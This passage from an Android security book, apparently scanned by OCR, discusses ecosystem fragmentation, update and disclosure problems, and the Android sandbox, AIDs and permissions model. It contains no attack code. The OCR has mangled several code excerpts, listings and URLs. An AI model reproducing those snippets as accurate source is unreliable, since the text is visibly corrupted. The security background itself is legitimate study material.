from many different manufacturers. Each device is composed of a variety of 
software and hardware, including OEM or carrier-specific modifications. Even 
on the same device, the version of Android itself might vary from one carrier 
or user to another. Because of all of these differences, consumers, developers, 
and security researchers wrestle with fragmentation regularly. 

Although fragmentation has relatively little effect on consumers, it is slightly 
damaging to the Android brand. Consumers accustomed to using Samsung 
devices who switch to a device from HTC are often met with a jarring experi- 
ence. Because Samsung and HTC both highly customize the user experience 
of their devices, users have to spend some time reacquainting themselves with 
how to use their new devices. The same is also true for longtime Nexus device 
users who switch to OEM-branded devices. Over time, consumers may grow 
tired of this issue and decide to switch to a more homogeneous platform. Still, 
this facet of fragmentation is relatively minor. 

Application developers are significantly more affected by fragmentation 
than consumers. Issues primarily arise when developers attempt to support 
the variety of devices in the device pool (including the software that runs on 
them). Testing against all devices is very expensive and time intensive. Although 
using the emulator can help, it’s not a true representation of what users on actual 
devices will encounter. The issues developers must deal with include differing 
hardware configurations, API levels, screen sizes, and peripheral availability. 
Samsung has more than 15 different screen sizes for its Android devices, ranging 
from 2.6 inches to 10.1 inches. Further, High-Definition Multimedia Interface 
(HDMI) dongles and Google TV devices that don’t have a touchscreen require 
specialized input handling and user interface (UI) design. Dealing with all of 
this fragmentation is no easy task, but thankfully Google provides developers 
with some facilities for doing so. 
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Developers create applications that perform well across different devices, in 
part, by doing their best to hide fragmentation issues. To deal with differing 
screen sizes, the Android UI framework allows applications to query the device 
screen size. When an app is designed properly, Android automatically adjusts 
application assets and UI layouts appropriately for the device. Google Play also 
allows app developers to deal with differing hardware configurations by declar- 
ing requirements within the application itself. A good example is an application 
that requires a touchscreen. On a device without a touchscreen, viewing such an 
app on Google Play shows that the app does not support the device and cannot 
be installed. The Android application Support Library transparently deals with 
some API-level differences. However, despite all of the resources available, some 
compatibility issues remain. Developers are left to do their best in these corner 
cases, often leading to frustration. Again, this weakens the Android ecosystem 
in the form of developer disdain. 

For security, fragmentation is both positive and negative, depending mostly on 
whether you take the perspective of an attacker or a defender. Although attack- 
ers might easily find exploitable issues on a particular device, those issues are 
unlikely to apply to devices from a different manufacturer. This makes finding 
flaws that affect a large portion of the ecosystem difficult. Even when equipped 
with such a flaw, variances across devices complicate exploit development. In 
many cases, developing a universal exploit (one that works across all Android 
versions and all devices) is not possible. For security researchers, a comprehen- 
sive audit would require reviewing not only every device ever made, but also 
every revision of software available for those devices. Quite simply put, this is an 
insurmountable task. Focusing on a single device, although more approachable, 
does not paint an adequate picture of the entire ecosystem. An attack surface 
present on one device might not be present on another. Also, some components 
are more difficult to audit, such as closed source software that is specific to each 
device. Due to these challenges, fragmentation simultaneously makes the job 
of an auditor more difficult and helps prevent large-scale security incidents. 


Compatibility 


One complexity faced by device manufacturers is compatibility. Google, as 
the originator of Android, is charged with protecting the Android brand. This 
includes preventing fragmentation and ensuring that consumer devices are 
compatible with Google’s vision. To ensure device manufacturers comply with 
the hardware and software compatibility requirements set by Google, the com- 
pany publishes a compatibility document and a test suite. All manufacturers 
who want to distribute devices under the Android brand have to follow these 
guidelines. 
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Compatibility Definition Document 


The Android Compatibility Definition Document (CDD) available at htt p:// source 
„android. com/ compati bility/ enumerates the software and hardware require- 
ments of a “compatible” Android device. Some hardware must be present on 
all Android devices. For example, the CDD for Android 4.2 specifies that all 
device implementations must include at least one form of audio output, and 
one or more forms of data networking capable of transmitting data at 200K 
bit/s or greater. However, the inclusion of various peripherals is left up to the 
device manufacturer. If certain peripherals are included, the CDD specifies 
some additional requirements. For example, if the device manufacturer decides 
to include a rear-facing camera, then the camera must have a resolution of at 
least 2 megapixels. Devices must follow CDD requirements to bear the Android 
moniker and, further, to ship with Google’s applications and services. 


Compatibility Test Suite 


The Android Compatibility Test Suite (CTS) is an automated testing harness that 
executes unit tests from a desktop computer to the attached mobile devices. 
CTS tests are designed to be integrated into continuous build systems of the 
engineers building a Google-certified Android device. Its intent is to reveal 
incompatibilities early on, and ensure that the software remains compatible 
throughout the development process. 

As previously mentioned, OEMs tend to heavily modify parts of the Android 
Framework. The CTS makes sure that APIs for a given version of the platform 
are unmodified, even after vendor modifications. This ensures that applica- 
tion developers have a consistent development experience regardless of who 
produced the device. 

The tests performed in the CTS are open source and continually evolving. 
Since May 2011, the CTS has included a test category called security that cen- 
tralizes tests for security bugs. You can review the current security tests in the 
master branch of AOSP at https: //android. googlesource. com/ pl atform/ 
cts/+/master/tests/tests/security. 


Update Issues 


Unequivocally, the most important complexity in the Android ecosystem relates 
to the handling of software updates, especially security fixes. This issue is fueled 
by several other complexities in the ecosystem, including third-party software, 
OEM customizations, carrier involvement, disparate code ownership, and more. 
Problems keeping up with upstream open source projects, technical issues with 
deploying operating system updates, lack of back-porting, and a defunct alliance 
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are at the heart of the matter. Overall, this is the single largest factor contribut- 
ing to the large number of insecure devices in use in the Android ecosystem. 


Update Mechanisms 


The root cause of this issue stems from the divergent processes involved in 
updating software in Android. Updates for apps are handled differently than 
operating system updates. An app developer can deploy a patch for a security 
flaw in his app via Google Play. This is true whether the app is written by 
Google, OEMs, carriers, or independent developers. In contrast, a security flaw 
in the operating system itself requires deploying a firmware upgrade or OTA 
update. The process for creating and deploying these types of updates is far 
more arduous. 

For example, consider a patch for a flaw in the core Android operating sys- 
tem. A patch for such an issue begins with Google fixing the issue first. This is 
where things get tricky and become device dependent. For Nexus devices, the 
updated firmware can be released directly to end users at this point. However, 
updating an OEM-branded device still requires OEMs to produce a build 
including Google’s security fix. In another twist, OEMs can deliver the updated 
firmware directly to end users of unlocked OEM devices at this point. For carrier- 
subsidized devices, the carrier must prepare its customized build including the 
fix and deliver it to the customer base. Even in this simple example, the update 
path for operating system vulnerabilities is far more complicated than applica- 
tion updates. Additional problems coordinating with third-party developers or 
low-level hardware manufacturers could also arise. 


Update Frequency 


As previously mentioned, new versions of Android are adopted quite slowly. 
In fact, this particular issue has spurred public outcry on several occasions. In 
April 2013, the American Civil Liberties Union (ACLU) filed a complaint with 
the Federal Trade Commission (FTC). They stated that the four major mobile 
carriers in the U.S. did not provide timely security updates for the Android 
smartphones they sell. They further state that this is true even if Google has 
published updates to fix exploitable security vulnerabilities. Without receiving 
timely security updates, Android cannot be considered a mature, safe, or secure 
operating system. It’s no surprise that people are looking for government action 
on the matter. 

The time delta between bug reporting, fix development, and patch deployment 
varies widely. The time between bug reporting and fix development is often 
short, on the order of days or weeks. However, the time between fix development 
and that fix getting deployed on an end user’s device can range from weeks to 
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months, or possibly never. Depending on the particular issue, the overall patch 
cycle could involve multiple ecosystem stakeholders. Unfortunately, end users 
pay the price because their devices are left vulnerable. 

Not all security updates in the Android ecosystem are affected by these 
complexities to the same degree. For example, apps are directly updated by 
their authors. App authors’ ability to push updates in a timely fashion has led 
to several quick patch turnarounds in the past. Additionally, Google has proven 
their ability to deploy firmware updates for Nexus devices in a reasonable time 
frame. Finally, power users sometimes patch their own devices at their own risk. 

Google usually patches vulnerabilities in the AOSP tree within days or weeks 
of the discovery. At this point, OEMs can cherry-pick the patch to fix the vulner- 
ability and merge it into their internal tree. However, OEMs tend to be slow in 
applying patches. Unbranded devices usually get updates faster than carrier 
devices because they don’t have to go through carrier customizations and car- 
rier approval processes. Carrier devices usually take months to get the security 
updates, if they ever get them. 


Back-porting 


The term back-porting refers to the act of applying the fix for a current version 
of software to an older version. In the Android ecosystem, back-ports for secu- 
rity fixes are mostly nonexistent. Consider a hypothetical scenario: The latest 
version of Android is 4.2. If a vulnerability is discovered that affects Android 
4.0.4 and later, Google fixes the vulnerability only in 4.2.x and later versions. 
Users of prior versions such as 4.0.4 and 4.1.x are left vulnerable indefinitely. It 
is believed that security fixes may be back-ported in the event of a widespread 
attack. However, no such attack is publicly known at the time of this writing. 


Android Update Alliance 


In May 2011, during Google I/O, Android Product Manager Hugo Barra announced 
the Android Update Alliance. The stated goal of this initiative was to encour- 
age partners to make a commitment to update their Android devices for at 
least 18 months after initial release. The update alliance was formed by HTC, 
LG, Motorola, Samsung, Sony Ericsson, AT&T, T-Mobile, Sprint, Verizon, and 
Vodafone. Unfortunately, the Android Update Alliance has never been men- 
tioned again after the initial announcement. Time has shown that the costs of 
developing new firmware versions, issues with legacy devices, problems in 
newly released hardware, testing problems on new versions, or development 
issues could stand in the way of timely updates happening. This is especially 
problematic on poorly selling devices where carriers and manufacturers have 
no incentive to invest in updates. 
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Updating Dependencies 


Keeping up with upstream open source projects is a cumbersome task. This 
is especially true in the Android ecosystem because the patch lifecycle is so 
extended. For example, the Android Framework includes a web browser engine 
called WebKit. Several other projects also use this engine, including Google’s 
own Chrome web browser. Chrome happens to have an admirably short patch 
lifecycle, on the order of weeks. Unlike Android, it also has a successful bug 
bounty program in which Google pays for and discloses discovered vulner- 
abilities with each patch release. Unfortunately, many of these bugs are pres- 
ent in the code used by Android. Such a bug is often referred to as a half-day 
vulnerability. The term is born from the term half-life, which measures the rate 
at which radioactive material decays. Similarly, a half-day bug is one that is 
decaying. Sadly, while it decays, Android users are left exposed to attacks that 
may leverage these types of bugs. 


Security versus Openness 


One of the most profound complexities in the Android ecosystem is between 
power users and security-conscious vendors. Power users want and need to 
have unfettered access to their devices. Chapter 3 discusses the rationale behind 
these users’ motivations further. In contrast, a completely secure device is in 
the best interests of vendors and everyday end users. The needs of power users 
and vendors give rise to interesting challenges for researchers. 

As a subset of all power users, security researchers face even more challeng- 
ing decisions. When researchers discover security issues, they must decide 
what they do with this information. Should they report the issue to the vendor? 
Should they disclose the issue openly? If the researcher reports the issue, and 
the vendor fixes it, it might hinder power users from gaining the access they 
desire. Ultimately, each researcher’s decision is driven by individual motiva- 
tions. For example, researchers routinely withhold disclosure when a publicly 
viable method to obtain access exists. Doing so ensures that requisite access is 
available in the event that vendors fix the existing, publicly disclosed methods. 
It also means that the security issues remain unpatched, potentially allowing 
malicious actors to take advantage of them. In some cases, researchers choose 
to release heavily obfuscated exploits. By making it difficult for the vendors to 
discover the leveraged vulnerability, power users are able to make use of the 
exploit longer. Many times, the vulnerabilities used in these exploits can only 
be used with physical access to the device. This helps strike a balance between 
the conflicting wants of these two stakeholder groups. 

Vendors also struggle to find a balance between security and openness. All 
vendors want satisfied customers. As mentioned previously, vendors modify 
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Android in order to please users and differentiate themselves. Bugs can be 
introduced in the process, which detracts from overall security. Vendors must 
decide whether to make such modifications. Also, vendors support devices after 
they are purchased. Power user modifications can destabilize the system and 
lead to unnecessary support calls. Keeping support costs low and protecting 
against fraudulent warranty replacements are in the vendors’ best interests. To 
deal with this particular issue, vendors employ boot loader locking mechanisms. 
Unfortunately, these mechanisms also make it more difficult for competent 
power users to modify their devices. To compromise, many vendors provide 
ways for end users to unlock devices. You can read more about these methods 
in Chapter 3. 


Public Disclosures 


Last but not least, the final complexity relates to public disclosures, or public 
announcement, of vulnerabilities. In information security, these announcements 
serve as notice for system administrators and savvy consumers to update the 
software to remediate discovered vulnerabilities. Several metrics, including full 
participation in the disclosure process, can be used to gauge a vendor's security 
maturity. Unfortunately, such disclosures are extremely rare in the Android 
ecosystem. Here we document known public disclosures and explore several 
possible reasons why this is the case. 

In 2008, Google started the android-security- announce mailing list on 
Google groups. Unfortunately, the list contains only a single post introducing 
the list. You can find that single message at htt ps:// groups. google. com/d/ 
msg/android-security-announce/aEba2l 7U23A/vOyOl| bBxw8) . After the initial 
post, not a single official security announcement was ever made. As such, the 
only way to track Android security issues is by reading change logs in AOSP, 
tracking Gerrit changes, or separating the wheat from chaff in the Android 
issue tracker athttps://code.google.com/p/android/issues/list. These 
methods are time consuming, error prone, and unlikely to be integrated into 
vulnerability assessment practices. 

Although it is not clear why Google has not followed through with their 
intentions to deliver security announcements, there are several possible reasons. 
One possibility involves the extended exposure to vulnerabilities ramping in 
the Android ecosystem. Because of this issue, it’s possible that Google views 
publicly disclosing fixed issues as irresponsible. Many security professionals, 
including the authors of this text, believe that the danger imposed by such 
a disclosure is far less than that of the extended exposure itself. Yet another 
possibility involves the complex partnerships between Google, device manufac- 
turers, and carriers. It is easy to see how disclosing a vulnerability that remains 
present in a business partner’s product could be seen as bad business. If this 
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is the case, it means Google is prioritizing a business relationship before the 
good of the public. 

Google aside, very few other Android stakeholders on the vendor side have 
conducted public disclosures. Many OEMs have avoided public disclosure 
entirely, even shying away from press inquiries about hot-button vulnerabilities. 
For example, while HTC has a disclosure policy posted at www. htc. com/ www/ 
terms/product-security/, the company has never made a public disclosure 
to date. On a few occasions, carriers have mentioned that their updates include 
“important security fixes.” On even fewer occasions, carriers have even refer- 
enced public CVE numbers assigned to specific issues. 

The Common Vulnerabilities and Exposures (CVE) project aims to create a cen- 
tral, standardized tracking number for vulnerabilities. Security professionals, 
particularly vulnerability experts, use these numbers to track issues in software 
or hardware. Using CVE numbers greatly improves the ability to identify and 
discuss an issue across organizational boundaries. Companies that embrace 
the CVE project are typically seen as the most mature since they recognize the 
need to document and catalog past issues in their products. 

Of all of the stakeholders on the vendor side, one has stood out as taking 
public disclosure seriously. That vendor is Qualcomm, with its Code Aurora 
forum. This group is a consortium of companies with projects serving the mobile 
wireless industry and is operated by Qualcomm. The Code Aurora website has 
a security advisories page available at ht t ps: // www. codeaurora. org/projects/ 
security- advisories, with extensive details about security issues and CVE 
numbers. This level of maturity is one that other stakeholders should seek to 
follow so that the security of the Android ecosystem as a whole can improve. 

In general, security researchers are the biggest proponents of public disclosures 
in the Android ecosystem. Although not every security researcher is completely 
forthcoming, they are responsible for bringing issues to the attention of all of the 
other stakeholders. Often issues are publicly disclosed by independent research- 
ers or security companies on mailing lists, at security conferences, or on other 
public forums. Increasingly, researchers are coordinating such disclosures with 
stakeholders on the vendor side to safely and quietly improve Android security. 


Summary 


In this chapter you have seen how the Android operating system has grown 
over the years to conquer the mobile operating system (OS) market from the 
bottom up. The chapter walked you through the main players involved in the 
Android ecosystem, explaining their roles and motivations. You took a close 
look at the various problems that plague the Android ecosystem, including how 
they affect security. Armed with a deep understanding of Android’s complex 
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ecosystem, one can easily pinpoint key problem areas and apply oneself more 
effectively to the problem of Android security. 

The next chapter provides an overview of the security design and architecture 
of Android. It dives under the hood to show how Android works, including 
how security mechanisms are enforced. 


Android Security Design 
and Architecture 


Android is comprised of several mechanisms playing a role in security checking 
and enforcement. Like any modern operating system, many of these mecha- 
nisms interact with each other, exchanging information about subjects (apps/ 
users), objects (other apps, files, devices), and operations to be performed (read, 
write, delete, and so on). Oftentimes, enforcement occurs without incident; but 
occasionally, things slip through the cracks, affording opportunity for abuse. 
This chapter discusses the security design and architecture of Android, setting 
the stage for analyzing the overall attack surface of the Android platform. 


Understanding Android System Architecture 


The general Android architecture has, at times, been described as “Java on 
Linux.” However, this is a bit of a misnomer and doesn’t entirely do justice to the 
complexity and architecture of the platform. The overall architecture consists 
of components that fall into five main layers, including Android applications, 
the Android Framework, the Dalvik virtual machine, user-space native code, 
and the Linux kernel. Figure 2-1 shows how these layers comprise the Android 
software stack. 
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Figure 2-1: General Android system architecture 


Source: Karim Yaghmour of ee Inc. (Creative Commons Share-Alike 3.0 license) ; 
http://www.slideshare.net/opersys/inside-androids- ui 


Android applications allow developers to extend and improve the functionality 
of a device without having to alter lower levels. In turn, the Android Framework 
provides developers with a rich API that has access to all of the various facilities 
an Android device has to offer—the “glue” between apps and the Dalvik virtual 
machine. This includes building blocks to enable developers to perform common 
tasks such as managing user interface (UI) elements, accessing shared data stores, 
and passing messages between application components. 

Both Android applications and the Android Framework are developed in the 
Java programming language and execute within the Dalvik virtual machine 
(DalvikVM). This virtual machine (VM) was specially designed to provide an 
efficient abstraction layer to the underlying operating system. The DalvikVM 
is a register-based VM that interprets the Dalvik Executable (DEX) byte code 
format. In turn, the DalvikVM relies on functionality provided by a number of 
supporting native code libraries. 

The user-space native code components of Android includes system services, 
such as vold and DBus; networking services, such as dhcpd and wpa_supplicant; 
and libraries, such as bionic libc, WebKit, and OpenSSL. Some of these services 
and libraries communicate with kernel-level services and drivers, whereas others 
simply facilitate lower-level native operations for managed code. 
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Android's underpinning is the Linus kernel. Android made numerous additions 
and changes to the kernel source tree, some of which have their own security 
ramifications. We discuss these issues in greater detail in Chapters 3, 10, and 
12. Kernel-level drivers also provide additional functionality, such as camera 
access, Wi-Fi, and other network device access. Of particular note is the Binder 
driver, which implements inter-process communication (IPC). 

The “Looking Closer at the Layers” section later in this chapter examines key 
components from each layer in more detail. 


Understanding Security Boundaries and Enforcement 


Security boundaries, sometimes called trust boundaries, are specific places 
within a system where the level of trust differs on either side. A great example 
is the boundary between kernel-space and user-space. Code in kernel-space is 
trusted to perform low-level operations on hardware and access all virtual and 
physical memory. However, user-space code cannot access all memory due to 
the boundary enforced by the central processing unit (CPU). 

The Android operating system utilizes two separate, but cooperating, per- 
missions models. At the low level, the Linux kernel enforces permissions using 
users and groups. This permissions model is inherited from Linux and enforces 
access to file system entries, as well as other Android specific resources. This is 
commonly referred to as Android's sandbox. The Android runtime, by way of 
the DalvikVM and Android framework, enforces the second model. This model, 
which is exposed to users when they install applications, defines app permis- 
sions that limit the abilities of Android applications. Some permissions from the 
second model actually map directly to specific users, groups, and capabilities 
on the underlying operating system (OS). 


Android’s Sandbox 


Android's foundation of Linux brings with it a well-understood heritage of 
Unix-like process isolation and the principle of least privilege. Specifically, the 
concept that processes running as separate users cannot interfere with each 
other, such as sending signals or accessing one another’s memory space. Ergo, 
much of Android’s sandbox is predicated on a few key concepts: standard 
Linux process isolation, unique user IDs (UIDs) for most processes, and tightly 
restricted file system permissions. 

Android shares Linux’s UID/group ID (GID) paradigm, but does not have the 
traditional passwd and group files for its source of user and group credentials. 
Instead, Android defines a map of names to unique identifiers known as Android 
IDs (AIDs). The initial AID mapping contains reserved, static entries for privileged 
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and system-critical users, such as the s ys t em user/group. Android also reserves 
AID ranges used for provisioning app UIDs. Versions of Android after 4.1 added 
additional AID ranges for multiple user profiles and isolated process users (e.g., for 
further sandboxing of Chrome). You can find definitions for AIDs insystem/ cor e/ 

include/private/android_filesystem config.h in the Android Open Source 
Project (AOSP) tree. The following shows an excerpt that was edited for brevity: 


#de 


#de 


#de 
#de 


#de 


#de 
#de 


l * 


x 


tha 
#de 
#de 
#de 
#de 
#de 
#de 


#de 


#de 


ine AlD_ROOT 0 |* 
ine AID SYSTEM 1000 /* 
ne AlD_ RADIO 1001 /* 
ne AlD BLUETOOTH 1002 /* 
ine AlLD_SHELL 2000 /* 
ne Al D_CACHE 2001 /* 
ne Al D_DIAG 2002 /* 


The 3000 series are intended for 
They indicate special Android ca 


the kernel is aware of. */ 

ine AID NET_BT_ADMIN 3001 /* 
ine AlD_NET_BT 3002 /* 
ine AlD_INET 3003 | * 
ine AlD_NET_RAW 3004 |* 
ine AlD_APP 10000 /* 
ine AID_ISOLATED START 99000 /* 
ine AID_I1SOLATED END 99999 /* 
ine AlD_USER 100000 /* o 


traditional unix root user */ 


system server */ 


telephony subsystem, RIL */ 
bluetooth subsystem */ 


adb and debug shel 
cache access */ 
access to diagnostic resources */ 


user */ 


use as supplementa 
pabilities 


group id's only. 


bluetooth: create any socket */ 
bluetooth: create sco, 

rfcomm or l2cap sockets */ 

can create AF_INET and 

AF_INET6 sockets */ 


can create raw INET sockets */ 


first app user */ 


start of uids for fully 
isolated sandboxed processes */ 


end of uids for fully 
isolated sandboxed processes */ 
ffset for uid ranges for each user */ 


In addition to AIDs, Android uses supplementary groups to enable pro- 
cesses to access shared or protected resources. For example, membership in the 
sdcard_rw group allows a process to both read and write the/sdcard directory, 
as its mount options restrict which groups can read and write. This is similar to 
how supplementary groups are used in many Linux distributions. 


Kee] Though all AID entries map to both a UID and GID, the UID may not necessarily 
be used to represent a user on the system. For instance, Al D SDCARD_RWmaps to 
sdcard_r w, but is used only as a supplemental group, not as a UID on the system. 
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Aside from enforcing file system access, supplementary groups may also be 
used to grant processes additional rights. The AI D_| NET group, for instance, 
allows for users to open AF_| NET and AF_I NET6 sockets. In some cases, rights 
may also come in the form of a Linux capability. For example, membership in the 
Al D_I NET_ADMI N group grants the CAP_NET_ADMI N capability, allowing the user to 
configure network interfaces and routing tables. Other similar, network-related 
groups are cited later in the “Paranoid Networking” section. 

In version 4.3 and later, Android increases its use of Linux capabilities. For 
example, Android 4.3 changed the /system/bin/run-as binary from being 
set-UID root to using Linux capabilities to access privileged resources. Here, 
this capability facilitates access to the packages. list file. 


A complete discussion on Linux capabilities is out of the scope of this 
chapter. You can find more information about Linux process security and Linux 
capabilities in the Linux kernel’sDocumentation/security/credentials.txt 
andthecapabili ties manual page, respectively. 


When applications execute, their UID, GID, and supplementary groups are 
assigned to the newly created process. Running under a unique UID and GID 
enables the operating system to enforce lower-level restrictions in the kernel, 
and for the runtime to control inter-app interaction. This is the crux of the 
Android sandbox. 

The following snippet shows the output of the ps command on an HTC One 
V. Note the owning UID on the far left, each of which are unique for each app 
process: 


app_16 4089 1451 304080 31724... 
app_35 4119 1451 309712 30164... 
app_155 4145 1451 318276 39096... 
app.24 4159 1451 307736 32920... 
app_151 4247 1451 303172 28032... 
app_49 4260 1451 303696 28132... 
app_13 4277 1451 453248 68260 ... 


com. htc. bgp 

com. google. android.calendar 
com. google. android. apps. plus 
android. process. media 

com htc. lockscreen 

com htc. weather. bg 

com. android. browser 


NNNNA 


Applications can also share UIDs, by way of a special directive in the 
application package. This is discussed further in the “Major Application 
Components” section. 

Under the hood, the user and group names displayed for the process are 
actually provided by Android-specific implementations of the POSIX functions 
typically used for setting and fetching of these values. For instance, consider 
the get pwui d function (defined in stubs. cpp in the Bionic library): 
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345 passwd* getpwuid(uid_t uid) { // NOLINT: implementing bad function. 


346 Stubs_state t* state = __stubs_state(); 
347 if (state == NULL) { 

348 return NULL; 

349 } 

350 


351 passwd* pw = android_id_to_passwd(state, uid); 
352 if (pw != NULL) { 


353 return pw 

354 } 

355 return app_id_to_passwd(uid, state) 
356 } 


Like its brethren, get pwui d in turn calls additional Android-specific functions, 
such asandroid_id_to_ passwd andapp_id_to_passwd. These functions then 
populate a Unix password structure with the corresponding AID’s informa- 
tion. The android_id_to_ passwd function calls android_iinfo_to passwd to 
accomplish this: 


static passwd* android_iinfo_to_passwd(stubs_state_t* state 
const android_id_info* iinfo) { 
Snprintf(state->dir_buffer_, sizeof(state->dir_buffer_), "/"); 
Snprintf(state->sh_buffer_, sizeof(state->sh_buffer_) 
"ITsystem/ bin/sh"); 


passwd* pw = &state->passwd_; 


pw->pw_name = (char*) iinfo->name; 
pw- >pw_uid = jinfo->aid; 

pw- >pw_gid = jinfo->aid; 

pw- >pw_dir = state->dir_buffer_; 
pw->pw shell = state->sh_buffer_; 
return pw 


Android Permissions 


The Android permissions model is multifaceted: There are API permissions, file 
system permissions, and IPC permissions. Oftentimes, there is an intertwining 
of each of these. As previously mentioned, some high-level permissions map 
back to lower-level OS capabilities. This could include actions such as opening 
sockets, Bluetooth devices, and certain file system paths. 

To determine the app user’s rights and supplemental groups, Android pro- 
cesses high-level permissions specified in an app package's Andr oi dMani fest 
.xml file (the manifest and permissions are covered in more detail in the “Major 
Application Components” section). Applications’ permissions are extracted from 
the application’s manifest at install time by the PackageManager and stored in 
/data/system/ packages. xml . These entries are then used to grant the appropriate 
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rights at the instantiation of the app’s process (such as setting supplemental 
GIDs). The following snippet shows the Google Chrome package entry inside 
packages. xml , including the unique user l d for this app as well as the permis- 
sions it requests: 


<package name="com. android. chrome" 
codePath="/data/app/com. android. chrome- 1. apk' 
nativelibraryPath="/data/data/com. android. chrome/lib" 
flags="0" ft="1422a1l61aa8" it="1422a163b1a" 

ut ="1422a163bla" version="1599092" userld="10082" 
installer="com. android. vendi ng"> 

<sigs count="1"> 

<cert index="0" /> 

</ sigs> 

<perms > 

<item name="com. android. launcher. permission. INSTALL SHORTCUT" /> 
<item name="android. permission. NFC" /> 


<item name="android. permission. WRITE_EXTERNAL_STORAGE" / > 
item name="android. permission. ACCESS COARSE_LOCATI ON" /> 


N 


<item name="android. permission. CAMERA" /> 
<item name="android. permission. INTERNET" /> 


<| perms > 
</ package> 


The permission-to-group mappings are stored in / etc/permissions/ 
platform. xml. These are used to determine supplemental group IDs to set for 
the application. The following snippet shows some of these mappings: 


<permi ssion name="android. permission. INTERNET" > 
<group gid="inet" | > 
</ permission> 


<permission name="android. permission. CAMERA" > 
<group gid="camera" | > 
</ permission> 


<permi ssion name="android. permission. READ_LOGS" > 
<group gid="log" /> 
</ permi ssion> 


<permi ssion name="androi d. permission. WRITE_ EXTERNAL _ STORAGE" > 
<group gid="sdcard_rw" /> 
</ permi ssion> 
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The rights defined in package entries are later enforced in one of two ways. 
The first type of checking is done at the time of a given method invocation and 
is enforced by the runtime. The second type of checking is enforced at a lower 
level within the OS by a library or the kernel itself. 


API Permissions 


API permissions include those that are used for controlling access to high- 
level functionality within the Android API/framework and, in some cases, 
third-party frameworks. An example of a common API permission is 
READ_PHONE_ STATE, which is defined in the Android documentation as allowing 
“read only access to phone state.” An app that requests and is subsequently 
granted this permission would therefore be able to call a variety of meth- 
ods related to querying phone information. This would include methods in 
the Tel ephonyManager class, like get DeviceSoftwareVersion,getDeviceld, 
get Devi cel d and more. 

As mentioned earlier, some API permissions correspond to kernel-level enforce- 
ment mechanisms. For example, being granted the | NTERNET permission means 
the requesting app’s UID is added as a member of thei net group (GID 3003). 
Membership in this group grants the user the ability to open AF_| NET and 
AF_|NET6 sockets, which is needed for higher-level API functionality, such as 
creating an Htt pURLConnecti on object. 

In Chapter 4 we also discuss some oversights and issues with API permis- 
sions and their enforcement. 


File System Permissions 


Android’s application sandbox is heavily supported by tight Unix file system 
permissions. Applications’ unique UIDs and GIDs are, by default, given access 
only to their respective data storage paths on the file system. Note the UIDs 
and GIDs (in the second and third columns) in the following directory listing. 
They are unique for these directories, and their permissions are such that only 
those UIDs and GIDs may access the contents therein: 


root@android:/ # Is -l /data/data 

drwxr-x--x u0_a3 u0 a3 ... com android. browser 

drwxr-x--x u0 a4 u0 a4... com android. calculator2 

drwxr-x--x u0_a5 u0 a5... comandroid.calendar 

drwxr-x--x u0_ a24 u0_ a24 ... com android. camera 

drwxr-x--x u0_ a55 u0 a55 ... com twitter.android 

drwxr-x--x u0_ a56 u0_ a56 ... com ubercab 

drwxr-x--x u0_ a53 u0 a53 ... com. yougetitback.androidapplication. virgin. 
mobile 

drwxr-x--x u0_ a31 u0_ a31 ... jp.co.omronsoft.openwnn 
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Subsequently, files created by applications will have appropriate file permissions 
set. The following listing shows an application’s data directory, with ownership 
and permissions on subdirectories and files set only for the app’s UID and GID: 


root @android:/data/data/comtwitter.android # Is -IR 

drwxrwx--x u0_a55 u0_ a55 2013-10-17 00:07 cache 
drwxrwx--x u0_a55 u0_a55 2013-10-17 00:07 databases 
drwxrwx--x u0_ a55 u0_ a55 2013-10-17 00:07 files 
|rwxrwxrwx install install 2013-10-22 18:16 lib -> 
/data/app-lib/com twitter. android-1 

drwxrwx--x u0_ a55 u0_ a55 2013-10-17 00:07 shared_prefs 
„| cache: 

drwx------ u0_a55 u0_a55 2013-10-17 00:07 


com android. renderscript. cache 
./cache/com. android. renderscript. cache 


./ databases: 


-IW-TW---- U0 a55 u0_a55 184320 2013-10-17 06:47 0-3.db 

-TWeeeeeee u0_a55 u0_a55 8720 2013-10-17 06:47 0-3.db-journa 
-TW rW---- u0_ a55 u0_a55 61440 2013-10-22 18:17 global. db 

ST Wee eee ee u0_a55 u0_a55 16928 2013-10-22 18:17 global.db-journal 
„Jfiles: 

dr WX- ----- u0_a55 u0_a55 2013-10-22 18:18 


comcrashlytics.sdk. android 
.[files/comcrashlytics.sdk. android: 

oe u0_a55 u0_a55 80 2013-10-22 18:18 
5266C1300180-0001-0334-EDCCO5CFF3D7BeginSession. cls 


./ shared prefs: 


-TW-TW---- u0 a55 u0_ a55 155 2013-10-17 00:07 comcrashlytics. prefs. 
xm 
-TW-rW---- u0_ a55 u0_a55 143 2013-10-17 00:07 


comtwitter.android preferences. xm 


As mentioned previously, certain supplemental GIDs are used for access to shared 
resources, such as SD cards or other external storage. As an example, note the output 
of the mount and! s commands onan HTC One V, highlighting the/ mnt / sdcard path: 


root @android:/ # mount 

| dev/block/dm-2 /mnt/sdcard vfat rw,dirsync, nosuid, nodev, noexec,relati me, 
uid=1000, gi d=1015, fmask=0702, dmask=0702, allow uti me=0020, codepage=cp437, 
iocharset =is08859-1,shortname=mi xed, utf8,errors=remount-ro 0 0 


root@android:/ # is -I /mnt 


d---rwxr-x system sdcard_rw 1969-12-31 19:00 sdcard 
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Here you see that the SD card is mounted with GID 1015, which corresponds 
to thes dcard_rw group. Applications requesting the WRI TE_EXTERNAL_ STORAGE 
permission will have their UID added to this group, granting them write access 
to this path. 


IPC Permissions 


IPC permissions are those that relate directly to communication between app 
components (and some system IPC facilities), though there is some overlap with 
API permissions. The declaration and enforcement of these permissions may 
occur at different levels, including the runtime, library functions, or directly 
in the application itself. Specifically, this permission set applies to the major 
Android application components that are built upon Android’s Binder IPC 
mechanism. The details of these components and Binder itself are presented 
later in this chapter. 


Looking Closer at the Layers 


This section takes a closer look at the most security-relevant pieces of the Android 
software stack, including applications, the Android framework, the DalvikVM, 
supporting user-space native code and associated services, and the Linux kernel. 
This will help set the stage for later chapters, which will go into greater detail 
about these components. This will then provide the knowledge necessary to 
attack those components. 


Android Applications 


In order to understand how to evaluate and attack the security of Android 
applications, you first need to understand what they’re made of. This section 
discusses the security-pertinent pieces of Android applications, the application 
runtime, and supporting IPC mechanisms. This also helps lay the groundwork 
for Chapter 4. 

Applications are typically broken into two categories: pre-installed and user- 
installed. Pre-installed applications include Google, original equipment manu- 
facturer (OEM), and/or mobile carrier-provided applications, such as calendar, 
e-mail, browser, and contact managers. The packages for these apps reside in the 
/system/ app directory. Some of these may have elevated privileges or capabili- 
ties, and therefore may be of particular interest. User-installed applications are 
those that the user has installed themselves, either via an app market such as 
